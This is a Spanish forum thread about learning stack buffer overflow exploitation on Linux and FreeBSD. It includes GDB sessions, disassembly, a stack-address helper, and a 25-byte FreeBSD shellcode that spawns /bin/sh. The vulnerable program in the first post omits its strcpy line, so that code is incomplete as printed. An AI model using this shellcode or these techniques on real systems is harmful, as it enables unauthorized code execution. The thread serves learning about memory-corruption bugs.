Autor
|
Tema: No puedo sobrescribir EIP (Linux) (Leído 28,310 veces)
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Hola, el caso es que estoy intentando crear un exploit para el tipico programa vulnerable en linux pero no consigo sobrescribir el EIP... aver si me pueden ayudar: El codigo vulnerable es: #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buff[12]; printf("\nHas escrito: %s\n",buff ); return 0; }
Compilo y pruebo: zhynar@zhynar:~/Desktop$ gcc bug2.c -o bug2 -ggdb zhynar@zhynar:~/Desktop$ ./bug2 hola <------- Compruevo que funciona
Has escrito: hola zhynar@zhynar:~/Desktop$ ./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <-------- Mas de 12 'A's
Has escrito: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Violación de segmento <---------- Se produce el desbordamiento zhynar@zhynar:~/Desktop$
Ahora lo abro con el gdb: zhynar@zhynar:~/Desktop$ gdb bug2 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <---- Muchas 'A's... Starting program: /home/zhynar/Desktop/bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Failed to read a valid object file image from memory.
Has escrito: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. <------ Se produce el desbordamiento 0x080483dc in main (argc=Cannot access memory at address 0x41414141 ) at bug2.c:12 12 } (gdb) info registers eax 0x0 0 ecx 0x41414141 1094795585 edx 0xb7fbe448 -1208228792 ebx 0xb7fbcff4 -1208233996 esp 0x4141413d 0x4141413d <---- Sobrescrito ebp 0x41414141 0x41414141 <---- Sobrescriito esi 0x0 0 edi 0xb7fe6cc0 -1208062784 eip 0x80483dc 0x80483dc <main+72> <----- Pero no consigo sobrescribir el EIP eflags 0x210282 [ SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Aver si me pueden ayudar... Saludos
|
|
« Última modificación: 26 Diciembre 2007, 16:44 pm por zhynar_X »
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
EIP guarda la instruccion en la que se encuentra. si no puede leer la memoria en 0x41414141 entonces EIP nunca llega a tener ese valor. busca smashing the stack for fun and profit.. es como que lo basico de BoF, y es para linux , lo que "reescribes" es el valor de retorno, no EIP, EIP toma el valor de la direccion de retorno, se que parece que es lo mismo pero no.. EIP no puede ser "sobreescrito", siempre tiene valores validos. blah, en otras palabras.. coloca la direccion de retorno que quieres en la posicion especificada que debe ser.. mm desde el char 16, creo.. Saludos!!
|
|
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Que lio que me estoy haciendo... xDxD En windows no tarde na en hacer el **** exploit.... xD A ver a partir de la 'A' 16 si pongo un offset deberia ir a esa parte de la memoria, asi que tengo que ponerle un offset a la shellcode pero... En que parte de la pila meto la shellcode y despues como saco el offset a la shellcode?? En windows se que ponia la shellcode en la direccion de ESP y despues hacia un "jmp esp" pero por .lo que veo en linux es diferente... xD Saludos
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
esque en linux la dirección de la pila es constante, o era.. depende del kernel.. lee el documento que te digo xD es de aleph1.
Saludos!!
|
|
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 515
Use linux my friend...
|
Bueno ya he leido bastante y ya me he enterado de lo que tengo que hacer xD
Pero ahora hay una cosa que no se... Meto la shellcode en el buffer y tengo que sobrescribir el RET con la direccion de la shellcode, osea la direccion de buffer y para ello tengo que poner su direccion en la posicion de la cadena que sobrescribe el RET, pero como pongo su direccion de forma que la pila la interprte? Es decir... como meto un offset en un string??
Saludos
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta! Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
Bien zhynar_X, creo que si estas estudiado , y eso es bueno. Bien vi tu codigo y es de los clasicos BOF, sin embargo el buffer que estas dejando en muy pequeño para propositos educativos y de aprendizaje, yo recomiendo buffer mas grande, ya que veas como funciona en un buffer grande, vas a ver la forma de hacerlo en buffer pequeños, sin embargo yo estoy casi seguro que con 12-16 bytes nadie va a poder meter un shellcode completo ahi . Bien una direccion aproximada de la pila donde se esta almacenado tu variable la puedes conseguir con la siguente funcion unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } Sin embargo vas a tener que restar algunas decenas o centerares de bytes. Ahora bueno para buffer pequeños, uso algo que le aprendi a rojodos %gdb ./codigo GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"... (gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault. 0x48484848 in ?? () (gdb) printf "%c\n", 0x48 H Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar , lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular. Este solo es para FreeBSD char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80";
Por eso comento que para practica personal, es necesario un buffer un poco mas grande.
|
|
« Última modificación: 14 Enero 2008, 02:21 am por Anon »
|
En línea
|
|
|
|
RaiSe
|
El problema que tienes es porque estás intentando explotar main. Desde hace relativamente poco, el gcc hace una cosa un poco rara al principio y al final de main, que es para alinear la pila. Mas o menos y resumiendo lo que hace es salvar y restaurar la pila, en la pila XD. Es decir, antes de la dirección de retorno en la pila está esp guardado.
Antes del ret de main, hace (más o menos):
pop %ebp pop %esp ret
Si te cargas el %esp guardado en la pila, el ret no funcionara. Por eso obtienes un esp y un ebp sobreescrito con 0x41. Todo esto puedes verlo si haces un disass de main. En resumen, la funcion main hay que explotarla de otra forma, concretamente sobreescribiendo el esp guardado en la pila, en vez de sobreescribir eip.
Un saludo.
|
|
« Última modificación: 14 Enero 2008, 02:48 am por RaiSe »
|
En línea
|
|
|
|
RaiSe
|
%gdb ./codigo GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd"... (gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault. 0x48484848 in ?? () (gdb) printf "%c\n", 0x48 H Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar , lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular. En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas: x/1i $eip En el momento que da el sigsegv. Un saludo. PD: Segun he visto un main de tu otro post (como usar el gdb), tiene toda la pinta de que en FreeBSD (al menos en el tuyo) no hace lo de salvar esp en la pila, sino que usa el leave de toda la vida (ebp). Usease que en tu caso si que debe de intentar saltar realmente a 0x48484848, y la explotación en más sencilla.
|
|
« Última modificación: 14 Enero 2008, 02:49 am por RaiSe »
|
En línea
|
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:
x/1i $eip
En el momento que da el sigsegv. Un saludo.
Mira, estoy seguro que hace algo, sin embargo todavia no estoy completamente seguro de que hace, despues del prolog, ejecuta cosas que ni al caso pero bueno, preguntemosle esto a los que hacen gcc (gdb) disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x18,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: sub $0x8,%esp 0x080481d3 <main+31>: mov 0xc(%ebp),%eax 0x080481d6 <main+34>: add $0x4,%eax 0x080481d9 <main+37>: pushl (%eax) 0x080481db <main+39>: lea 0xffffffe8(%ebp),%eax 0x080481de <main+42>: push %eax 0x080481df <main+43>: call 0x804973c <strcpy> 0x080481e4 <main+48>: add $0x10,%esp 0x080481e7 <main+51>: sub $0x8,%esp 0x080481ea <main+54>: lea 0xffffffe8(%ebp),%eax 0x080481ed <main+57>: push %eax 0x080481ee <main+58>: push $0x805b46a 0x080481f3 <main+63>: call 0x8049708 <printf> 0x080481f8 <main+68>: add $0x10,%esp 0x080481fb <main+71>: mov $0x0,%eax 0x08048200 <main+76>: leave 0x08048201 <main+77>: ret End of assembler dump. Si lo sobre escribe el eip (gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Has escrito: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Program received signal SIGSEGV, Segmentation fault. 0x48484848 in ?? () (gdb) x/1 $eip 0x48484848: Error accessing memory address 0x48484848: Bad address.
y tambien el ebp, pero ese no hay mucho que decir... mirar: (gdb) info register eax 0x0 0 ecx 0x0 0 edx 0x35 53 ebx 0x2 2 esp 0xbfbfe910 0xbfbfe910 ebp 0x47474747 0x47474747 esi 0xbfbfe960 -1077941920 edi 0x0 0 eip 0x48484848 0x48484848 eflags 0x10282 66178 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb)
Ok salimos de Dudas...
|
|
|
En línea
|
|
|
|
RaiSe
|
Joer, me voy a volver loco de tanto editar mis posts jeje. Si, en tu caso usa %ebp para restaurar %esp y retornar, osea que no hay el problema que si existe en linux. Un saludo.
PD: Que version de gcc usas?.
|
|
|
En línea
|
|
|
|
|
|